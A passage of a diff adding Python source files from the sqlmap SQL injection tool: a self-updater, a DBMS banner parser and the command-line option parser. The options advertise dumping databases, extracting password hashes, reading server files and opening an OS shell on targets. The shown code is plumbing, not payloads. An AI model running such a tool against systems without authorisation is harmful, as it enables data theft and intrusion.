|
||||
"""
|
||||
|
||||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
40
lib/core/unescaper.py
Normal file
40
lib/core/unescaper.py
Normal file
|
@ -0,0 +1,40 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
class Unescaper:
|
||||
def __init__(self):
|
||||
self.__unescaper = None
|
||||
|
||||
|
||||
def setUnescape(self, unescapeFunction):
|
||||
self.__unescaper = unescapeFunction
|
||||
|
||||
|
||||
def unescape(self, expression):
|
||||
return self.__unescaper(expression)
|
||||
|
||||
|
||||
unescaper = Unescaper()
|
337
lib/core/update.py
Normal file
337
lib/core/update.py
Normal file
|
@ -0,0 +1,337 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: update.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import difflib
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import tempfile
|
||||
import urlparse
|
||||
import zipfile
|
||||
|
||||
from distutils.dir_util import mkpath
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.settings import MSSQL_VERSIONS_URL
|
||||
from lib.core.settings import SQLMAP_VERSION_URL
|
||||
from lib.core.settings import SQLMAP_SOURCE_URL
|
||||
from lib.core.settings import VERSION
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __updateMSSQLXML():
|
||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname
|
||||
warnMsg += " check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
doc = Document()
|
||||
|
||||
# Create the <root> base element
|
||||
root = doc.createElement("root")
|
||||
doc.appendChild(root)
|
||||
|
||||
for index in range(0, releasesCount):
|
||||
release = releases[index]
|
||||
|
||||
# Skip Microsoft SQL Server 6.5 because the HTML
|
||||
# table is in another format
|
||||
if release == "6.5":
|
||||
continue
|
||||
|
||||
# Create the <signatures> base element
|
||||
signatures = doc.createElement("signatures")
|
||||
signatures.setAttribute("release", release)
|
||||
root.appendChild(signatures)
|
||||
|
||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||
|
||||
if index == releasesCount - 1:
|
||||
stopIdx = len(mssqlVersionsHtmlString)
|
||||
else:
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
servicePack = servicePack[1:]
|
||||
if "/" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("/")]
|
||||
if "(" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("(")]
|
||||
if "-" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
servicePack = servicePack[:-1]
|
||||
|
||||
if servicePack and version:
|
||||
# Create the main <card> element
|
||||
signature = doc.createElement("signature")
|
||||
signatures.appendChild(signature)
|
||||
|
||||
# Create a <version> element
|
||||
versionElement = doc.createElement("version")
|
||||
signature.appendChild(versionElement)
|
||||
|
||||
# Give the <version> elemenet some text
|
||||
versionText = doc.createTextNode(version)
|
||||
versionElement.appendChild(versionText)
|
||||
|
||||
# Create a <servicepack> element
|
||||
servicepackElement = doc.createElement("servicepack")
|
||||
signature.appendChild(servicepackElement)
|
||||
|
||||
# Give the <servicepack> elemenet some text
|
||||
servicepackText = doc.createTextNode(servicePack)
|
||||
servicepackElement.appendChild(servicepackText)
|
||||
|
||||
# Get the XML old file content to a local variable
|
||||
mssqlXml = open(paths.MSSQL_XML, "r")
|
||||
oldMssqlXml = mssqlXml.read()
|
||||
oldMssqlXmlSignatures = oldMssqlXml.count("<signature>")
|
||||
oldMssqlXmlList = oldMssqlXml.splitlines(1)
|
||||
mssqlXml.close()
|
||||
|
||||
# Backup the XML old file
|
||||
shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
|
||||
|
||||
# Save our newly created XML to the signatures file
|
||||
mssqlXml = open(paths.MSSQL_XML, "w")
|
||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||
mssqlXml.close()
|
||||
|
||||
# Get the XML new file content to a local variable
|
||||
mssqlXml = open(paths.MSSQL_XML, "r")
|
||||
newMssqlXml = mssqlXml.read()
|
||||
newMssqlXmlSignatures = newMssqlXml.count("<signature>")
|
||||
newMssqlXmlList = newMssqlXml.splitlines(1)
|
||||
mssqlXml.close()
|
||||
|
||||
# If the new XML versions file differs from the old one it probably
|
||||
# means that we have got new Microsoft SQL Server versions
|
||||
if oldMssqlXmlSignatures != newMssqlXmlSignatures:
|
||||
infoMsg = "Microsoft SQL Server XML versions file updated successfully. "
|
||||
|
||||
if oldMssqlXmlSignatures < newMssqlXmlSignatures:
|
||||
infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
|
||||
infoMsg += "new signatures added since the last update"
|
||||
|
||||
# NOTE: This should never happen, in this rare case it might
|
||||
# be that the Microsoft SQL Server versions database
|
||||
# (MSSQL_VERSIONS_URL) changed its structure
|
||||
else:
|
||||
infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
|
||||
infoMsg += "signatures removed since the last update"
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "Do you want to see the differences? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
infoMsg = "Differences:"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Compare the old XML file with the new one
|
||||
differ = difflib.Differ()
|
||||
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
|
||||
|
||||
# Show only the different lines
|
||||
for line in differences:
|
||||
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
|
||||
print line.strip("\n")
|
||||
else:
|
||||
infoMsg = "no new Microsoft SQL Server versions since the "
|
||||
infoMsg += "last update"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __createFile(pathname, data):
|
||||
mkpath(os.path.dirname(pathname))
|
||||
fileFP = open(pathname, "wb")
|
||||
fileFP.write(data)
|
||||
fileFP.close()
|
||||
|
||||
|
||||
def __extractZipFile(zipFile):
|
||||
# Check if the saved binary file is really a ZIP file
|
||||
if zipfile.is_zipfile(zipFile):
|
||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||
else:
|
||||
raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile"
|
||||
|
||||
# Create a temporary directory
|
||||
tempDir = tempfile.mkdtemp("", "sqlmap_latest-")
|
||||
|
||||
# Extract each file within the ZIP file in the temporary directory
|
||||
for info in sqlmapZipFile.infolist():
|
||||
if info.filename[-1] != '/':
|
||||
data = sqlmapZipFile.read(info.filename)
|
||||
__createFile(os.path.join(tempDir, info.filename), data)
|
||||
|
||||
return tempDir
|
||||
|
||||
|
||||
def __updateSqlmap():
|
||||
infoMsg = "updating sqlmap"
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "checking if a new version is available"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
|
||||
warnMsg += ", check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
|
||||
|
||||
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
||||
errMsg = "sqlmap version is in a wrong syntax"
|
||||
logger.errMsg(errMsg)
|
||||
|
||||
return
|
||||
|
||||
if sqlmapNewestVersion == VERSION:
|
||||
infoMsg = "you are already running sqlmap latest stable version"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
else:
|
||||
infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion
|
||||
infoMsg += "Going to download it from the SourceForge File List page"
|
||||
logger.info(infoMsg)
|
||||
|
||||
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
|
||||
|
||||
try:
|
||||
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
|
||||
warnMsg += ", check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
# Save the sqlmap compressed source to a ZIP file in a temporary
|
||||
# directory and extract it
|
||||
zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||
__createFile(zipFile, sqlmapBinaryString)
|
||||
tempDir = __extractZipFile(zipFile)
|
||||
|
||||
# For each file and directory in the temporary directory copy it
|
||||
# to the sqlmap root path and set right permission
|
||||
# TODO: remove files not needed anymore and all pyc within the
|
||||
# sqlmap root path in the end
|
||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")):
|
||||
# Just for development release
|
||||
if '.svn' in dirs:
|
||||
dirs.remove('.svn')
|
||||
|
||||
cleanRoot = root.replace(tempDir, "")
|
||||
cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "")
|
||||
|
||||
if cleanRoot.startswith("/"):
|
||||
cleanRoot = cleanRoot[1:]
|
||||
|
||||
for f in files:
|
||||
# Just for development release
|
||||
if f.endswith(".pyc") or f.endswith(".pyo"):
|
||||
continue
|
||||
|
||||
srcFile = os.path.join(root, f)
|
||||
dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f))
|
||||
|
||||
if os.path.exists(dstFile):
|
||||
debugMsg = "replacing file '%s'" % dstFile
|
||||
else:
|
||||
debugMsg = "creating new file '%s'" % dstFile
|
||||
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if f == "sqlmap.conf" and os.path.exists(dstFile):
|
||||
infoMsg = "backupping configuration file to '%s.bak'" % dstFile
|
||||
logger.info(infoMsg)
|
||||
shutil.move(dstFile, "%s.bak" % dstFile)
|
||||
|
||||
mkpath(os.path.dirname(dstFile))
|
||||
shutil.copy(srcFile, dstFile)
|
||||
|
||||
if f.endswith(".py"):
|
||||
os.chmod(dstFile, 0755)
|
||||
|
||||
infoMsg = "sqlmap updated successfully"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def update():
|
||||
if not conf.updateAll:
|
||||
return
|
||||
|
||||
__updateSqlmap()
|
||||
__updateMSSQLXML()
|
25
lib/parse/__init__.py
Normal file
25
lib/parse/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
104
lib/parse/banner.py
Normal file
104
lib/parse/banner.py
Normal file
|
@ -0,0 +1,104 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: banner.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
|
||||
|
||||
class bannerHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse and extract information from
|
||||
the given DBMS banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
def __init__(self, banner):
|
||||
self.__banner = sanitizeStr(banner)
|
||||
self.release = None
|
||||
self.version = None
|
||||
self.servicePack = None
|
||||
self.__inVersion = False
|
||||
self.__inServicePack = False
|
||||
self.__release = None
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "signatures":
|
||||
self.__release = sanitizeStr(attrs.get("release"))
|
||||
|
||||
elif name == "version":
|
||||
self.__inVersion = True
|
||||
|
||||
elif name == "servicepack":
|
||||
self.__inServicePack = True
|
||||
|
||||
|
||||
def characters(self, data):
|
||||
if self.__inVersion:
|
||||
self.__version += sanitizeStr(data)
|
||||
elif self.__inServicePack:
|
||||
self.__servicePack += sanitizeStr(data)
|
||||
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "signature":
|
||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||
self.release = self.__release
|
||||
self.version = self.__version
|
||||
self.servicePack = self.__servicePack
|
||||
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
|
||||
|
||||
elif name == "version":
|
||||
self.__inVersion = False
|
||||
self.__version = self.__version.replace(" ", "")
|
||||
|
||||
elif name == "servicepack":
|
||||
self.__inServicePack = False
|
||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||
|
||||
|
||||
|
||||
def bannerParser(banner, xmlfile):
|
||||
"""
|
||||
This function calls a class to extract information from the given
|
||||
DBMS banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
checkFile(xmlfile)
|
||||
banner = sanitizeStr(banner)
|
||||
handler = bannerHandler(banner)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
return handler.release, handler.version, handler.servicePack
|
268
lib/parse/cmdline.py
Normal file
268
lib/parse/cmdline.py
Normal file
|
@ -0,0 +1,268 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: cmdline.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionGroup
|
||||
from optparse import OptionParser
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
def cmdLineParser():
|
||||
"""
|
||||
This function parses the command line parameters and arguments
|
||||
"""
|
||||
|
||||
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}"
|
||||
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
||||
|
||||
try:
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options have to "
|
||||
"be specified to set the target url, HTTP "
|
||||
"method, how to connect to the target url "
|
||||
"or Google dorking results in general.")
|
||||
|
||||
request.add_option("-u", "--url", dest="url", help="Target url")
|
||||
|
||||
request.add_option("-g", dest="googleDork",
|
||||
help="Process Google dork results as target urls")
|
||||
|
||||
request.add_option("-p", dest="testParameter",
|
||||
help="Testable parameter(s)")
|
||||
|
||||
request.add_option("--method", dest="method", default="GET",
|
||||
help="HTTP method, GET or POST (default: GET)")
|
||||
|
||||
request.add_option("--data", dest="data",
|
||||
help="Data string to be sent through POST")
|
||||
|
||||
request.add_option("--cookie", dest="cookie",
|
||||
help="HTTP Cookie header")
|
||||
|
||||
request.add_option("--referer", dest="referer",
|
||||
help="HTTP Referer header")
|
||||
|
||||
request.add_option("--user-agent", dest="agent",
|
||||
help="HTTP User-Agent header")
|
||||
|
||||
request.add_option("-a", dest="userAgentsFile",
|
||||
help="Load a random HTTP User-Agent "
|
||||
"header from file")
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type, value: "
|
||||
"Basic or Digest")
|
||||
|
||||
request.add_option("--auth-cred", dest="aCred",
|
||||
help="HTTP Authentication credentials, value: "
|
||||
"name:password")
|
||||
|
||||
request.add_option("--proxy", dest="proxy",
|
||||
help="Use a HTTP proxy to connect to the target url")
|
||||
|
||||
request.add_option("--threads", dest="threads", type="int",
|
||||
help="Maximum number of concurrent HTTP "
|
||||
"requests (default 1)")
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection")
|
||||
|
||||
injection.add_option("--string", dest="string",
|
||||
help="String to match in page when the "
|
||||
"query is valid")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
|
||||
action="store_true",
|
||||
help="Perform an extensive database fingerprint")
|
||||
|
||||
# Enumeration options
|
||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||
"be used to enumerate the back-end database "
|
||||
"management system information, structure "
|
||||
"and data contained in the tables. Moreover "
|
||||
"you can run your own SQL SELECT queries.")
|
||||
|
||||
enumeration.add_option("-b", "--banner", dest="getBanner",
|
||||
action="store_true", help="Retrieve DBMS banner")
|
||||
|
||||
enumeration.add_option("--current-user", dest="getCurrentUser",
|
||||
action="store_true",
|
||||
help="Retrieve DBMS current user")
|
||||
|
||||
enumeration.add_option("--current-db", dest="getCurrentDb",
|
||||
action="store_true",
|
||||
help="Retrieve DBMS current database")
|
||||
|
||||
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
||||
help="Enumerate DBMS users")
|
||||
|
||||
enumeration.add_option("--passwords", dest="getPasswordHashes",
|
||||
action="store_true",
|
||||
help="Enumerate DBMS users password hashes (opt: -U)")
|
||||
|
||||
enumeration.add_option("--privileges", dest="getPrivileges",
|
||||
action="store_true",
|
||||
help="Enumerate DBMS users privileges (opt: -U)")
|
||||
|
||||
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
||||
help="Enumerate DBMS databases")
|
||||
|
||||
enumeration.add_option("--tables", dest="getTables", action="store_true",
|
||||
help="Enumerate DBMS database tables (opt: -D)")
|
||||
|
||||
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
||||
help="Enumerate DBMS database table columns "
|
||||
"(req: -T, -D)")
|
||||
|
||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||
help="Dump DBMS database table entries "
|
||||
"(req: -T, -D opt: -C)")
|
||||
|
||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
|
||||
enumeration.add_option("-D", dest="db",
|
||||
help="DBMS database to enumerate")
|
||||
|
||||
enumeration.add_option("-T", dest="tbl",
|
||||
help="DBMS database table to enumerate")
|
||||
|
||||
enumeration.add_option("-C", dest="col",
|
||||
help="DBMS database table column to enumerate")
|
||||
|
||||
enumeration.add_option("-U", dest="user",
|
||||
help="DBMS user to enumerate")
|
||||
|
||||
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
|
||||
action="store_true",
|
||||
help="Exclude DBMS system databases when "
|
||||
"enumerating tables")
|
||||
|
||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||
help="First table entry to dump")
|
||||
|
||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last table entry to dump")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL SELECT query to be executed")
|
||||
|
||||
enumeration.add_option("--sql-shell", dest="sqlShell",
|
||||
action="store_true",
|
||||
help="Prompt for an interactive SQL shell")
|
||||
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
"can be used to access the back-end database "
|
||||
"management system file system taking "
|
||||
"advantage of native DBMS functions or "
|
||||
"specific DBMS design weaknesses.")
|
||||
|
||||
filesystem.add_option("--read-file", dest="rFile",
|
||||
help="Read a specific OS file content (only on MySQL)")
|
||||
|
||||
filesystem.add_option("--write-file", dest="wFile",
|
||||
help="Write to a specific OS file (not yet available)")
|
||||
|
||||
# Takeover options
|
||||
takeover = OptionGroup(parser, "Operating system access", "This "
|
||||
"option can be used to access the back-end "
|
||||
"database management system operating "
|
||||
"system taking advantage of specific DBMS "
|
||||
"design weaknesses.")
|
||||
|
||||
takeover.add_option("--os-shell", dest="osShell", action="store_true",
|
||||
help="Prompt for an interactive OS shell "
|
||||
"(only on PHP/MySQL environment with a "
|
||||
"writable directory within the web "
|
||||
"server document root for the moment)")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
miscellaneous.add_option("--union-test", dest="unionTest",
|
||||
action="store_true",
|
||||
help="Test for UNION SELECT (inband) SQL injection")
|
||||
|
||||
miscellaneous.add_option("--union-use", dest="unionUse",
|
||||
action="store_true",
|
||||
help="Use the UNION SELECT (inband) SQL injection "
|
||||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||
help="Retrieve each query output length and "
|
||||
"calculate the estimated time of arrival "
|
||||
"in real time")
|
||||
|
||||
miscellaneous.add_option("-v", dest="verbose", type="int",
|
||||
help="Verbosity level: 0-5 (default 0)")
|
||||
|
||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||
help="Update sqlmap to the latest stable version")
|
||||
|
||||
miscellaneous.add_option("-s", dest="sessionFile",
|
||||
help="Save and resume all data retrieved "
|
||||
"on a session file")
|
||||
|
||||
miscellaneous.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||
help="Save options on a configuration INI file")
|
||||
|
||||
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
||||
help="Never ask for user input, use the default behaviour")
|
||||
|
||||
parser.add_option_group(request)
|
||||
parser.add_option_group(injection)
|
||||
parser.add_option_group(fingerprint)
|
||||
parser.add_option_group(enumeration)
|
||||
parser.add_option_group(filesystem)
|
||||
parser.add_option_group(takeover)
|
||||
parser.add_option_group(miscellaneous)
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
|
||||
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
|
||||
errMsg += "-h for help"
|
||||
parser.error(errMsg)
|
||||
|
||||
return args
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
debugMsg = "parsing command line"
|
||||
logger.debug(debugMsg)
|
101
lib/parse/configfile.py
Normal file
101
lib/parse/configfile.py
Normal file
|
@ -0,0 +1,101 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: configfile.py 261 2008-07-21 11:33:49Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
